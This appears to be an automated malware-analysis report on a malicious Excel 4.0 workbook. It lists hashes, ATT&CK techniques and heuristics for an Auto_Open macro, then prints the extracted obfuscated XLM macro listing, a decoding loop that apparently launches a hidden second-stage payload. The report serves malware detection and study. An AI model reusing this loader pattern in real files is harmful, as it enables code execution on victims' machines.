Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd4f37bd3d411715…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:52 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 85589838cc3adc2dd9cae0d7e6dc5a20 SHA-1: e7118830b564b8fed4ed6f2a4fafa4e5d8609e9c SHA-256: bd4f37bd3d411715e7f6ec0855432dc6c6f236057ac002d6224e9386e6c42361
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely a second-stage payload. Without further script content, the exact nature of the payload remains unknown, hence the 'unknown family' classification.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6795 bytes
SHA-256: 36c26e9d2a6fa7cdd921b4acb8274b1fe5cbf2470063a5e55bfbb7e803b44379
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wWTPtBOikev
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A193 
' 0018     20 LABEL : Cell Value, String Constant - bGHRC len=0 
' 0018     20 LABEL : Cell Value, String Constant - COnWw len=0 
' 0018     21 LABEL : Cell Value, String Constant - cqarND len=0 
' 0018     20 LABEL : Cell Value, String Constant - dsJTy len=0 
' 0018     21 LABEL : Cell Value, String Constant - enrjLF len=0 
' 0018     22 LABEL : Cell Value, String Constant - GaljmjX len=0 
' 0018     24 LABEL : Cell Value, String Constant - gjNbCDOce len=0 
' 0018     25 LABEL : Cell Value, String Constant - heaXepqyrO len=0 
' 0018     21 LABEL : Cell Value, String Constant - hkcvxF len=0 
' 0018     24 LABEL : Cell Value, String Constant - KuNQiujSX len=0 
' 0018     25 LABEL : Cell Value, String Constant - pTOdfIpVtF len=0 
' 0018     20 LABEL : Cell Value, String Constant - qObAa len=0 
' 0018     21 LABEL : Cell Value, String Constant - rxGEbp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ukIojxad len=0 
' 0018     21 LABEL : Cell Value, String Constant - uuwrYq len=0 
' 0018     22 LABEL : Cell Value, String Constant - UyYBzZO len=0 
' 0018     22 LABEL : Cell Value, String Constant - xbYQrBL len=0 
' 0018     23 LABEL : Cell Value, String Constant - XsYXPcYk len=0 
' 0018     20 LABEL : Cell Value, String Constant - YhWEG len=0 
' 0018     26 LABEL : Cell Value, String Constant - zjEhKHQkAGC len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wWTPtBOikev,T93,"",-13.00000000000000000000
'  wWTPtBOikev,T94,"",457.00000000000000000000
'  wWTPtBOikev,T95,"",143.00000000000000000000
'  wWTPtBOikev,T96,"",-313.00000000000000000000
'  wWTPtBOikev,T97,"",-140.00000000000000000000
'  wWTPtBOikev,T98,"",-322.00000000000000000000
'  wWTPtBOikev,A102,"SET.NAME("uuwrYq",0+VALUE("0"))",""
'  wWTPtBOikev,A105,"SET.NAME("COnWw",uuwrYq)",""
'  wWTPtBOikev,A110,"SET.NAME("hkcvxF",uuwrYq)",""
'  wWTPtBOikev,A112,"SET.NAME("GaljmjX",COUNTA(heaXepqyrO))",""
'  wWTPtBOikev,A114,"SET.NAME("cqarND",COUNTA(dsJTy))",""
'  wWTPtBOikev,A119,[],""
'  wWTPtBOikev,A122,"SET.NAME("enrjLF","")",""
'  wWTPtBOikev,A124,"COnWw",""
'  wWTPtBOikev,A129,"SET.NAME("zjEhKHQkAGC",HLOOKUP("*",heaXepqyrO,COnWw,FALSE))",""
'  wWTPtBOikev,A133,"YhWEG",""
'  wWTPtBOikev,A136,"SET.NAME("xbYQrBL",uuwrYq)",""
'  wWTPtBOikev,A140,[],""
'  wWTPtBOikev,A144,"xbYQrBL",""
'  wWTPtBOikev,A146,"gjNbCDOce",""
'  wWTPtBOikev,A149,"KuNQiujSX",""
'  wWTPtBOikev,A152,"UyYBzZO",""
'  wWTPtBOikev,A156,"SET.NAME("qObAa",VALUE(HLOOKUP("*",dsJTy,UyYBzZO,FALSE)))",""
'  wWTPtBOikev,A161,"bGHRC",""
'  wWTPtBOikev,A163,"enrjLF",""
'  wWTPtBOikev,A166,"hkcvxF",""
'  wWTPtBOikev,A169,NEXT(),""
'  wWTPtBOikev,A174,"rxGEbp",""
'  wWTPtBOikev,A178,[],""
'  wWTPtBOikev,A181,"ukIojxad",""
'  wWTPtBOikev,A184,NEXT(),""
'  wWTPtBOikev,A189,RETURN(),""
'  wWTPtBOikev,A220,"SET.NAME("XsYXPcYk",A102)",""
'  wWTPtBOikev,A222,"heaXepqyrO",""
'  wWTPtBOikev,A225,"SET.NAME("dsJTy",R82C12)",""
'  wWTPtBOikev,A229,"SET.NAME("ukIojxad",238)",""
'  wWTPtBOikev,A232,"SET.NAME("pTOdfIpVtF",1)",""
'  wWTPtBOikev,A237,XsYXPcYk(),""
'  wWTPtBOikev,A238,HALT(),""

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